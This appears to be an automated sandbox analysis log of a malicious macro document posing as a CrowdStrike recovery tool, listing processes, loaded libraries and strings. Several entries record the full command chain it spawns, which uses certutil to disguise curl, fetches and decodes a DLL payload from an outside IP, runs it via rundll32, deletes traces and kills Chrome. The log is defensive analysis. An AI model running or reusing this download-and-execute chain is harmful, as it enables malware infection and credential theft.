Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C90F70 appears 42 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C15FF0 appears 35 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C91110 appears 87 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C91570 appears 266 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C157A0 appears 36 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92CABF00 appears 47 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C127F0 appears 47 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C90FF0 appears 434 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0084201D appears 39 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0087201D appears 39 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0084D632 appears 246 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0083913E appears 64 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 00842564 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 008720E6 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0084D6AD appears 303 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0087251E appears 48 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0084251E appears 48 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0087D6AD appears 303 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0086913E appears 64 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 008420E6 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 0087D632 appears 247 times
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: String function: 00872564 appears 48 times

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOCM@69/284@2/4

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_0086310D CreateToolhelp32Snapshot,GetLastError,CloseHandle,Module32First,Module32Next,

13_2_0086310D

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{EDECE918-A2EA-49DC-A414-445477A4F37D} - OProcSessId.dat

Jump to behavior

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true
Source: ~WRC0000.tmp.26.dr	OLE indicator, Word Document stream: true

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE document summary: title field not present or empty
Source: ~WRF{43F4B375-8E7A-44EF-86E3-6C5BC465D1F2}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{43F4B375-8E7A-44EF-86E3-6C5BC465D1F2}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{43F4B375-8E7A-44EF-86E3-6C5BC465D1F2}.tmp.0.dr	OLE document summary: edited time not present or 0
Source: ~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp.26.dr	OLE document summary: title field not present or empty
Source: ~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp.26.dr	OLE document summary: author field not present or empty
Source: ~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp.26.dr	OLE document summary: edited time not present or 0
Source: ~WRC0000.tmp.26.dr	OLE document summary: title field not present or empty

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\xcopy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain

Source: rundll32.exe, 00000010.00000002.5553191262.0000020A7832A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.5553191262.0000020A7835E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000003.2777616664.0000027F6C3A9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4258973771.0000027F6C3A9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4258973771.0000027F6C366000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000003.2777450961.0000027F6C3A9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000003.2778177784.0000027F6C3A9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

ReversingLabs: Detection: 26%

Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories. Use "--help category" to get an overview of all categories. For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories. Use "--help category" to get an overview of all categories. For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories. Use "--help category" to get an overview of all categories. For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories. Use "--help category" to get an overview of all categories. For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all".
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' for more information

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,14189460158267219968,9438605418759963760,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://go.microsoft.com/fwlink/?linkid=2280386"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,14189460158267219968,9438605418759963760,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
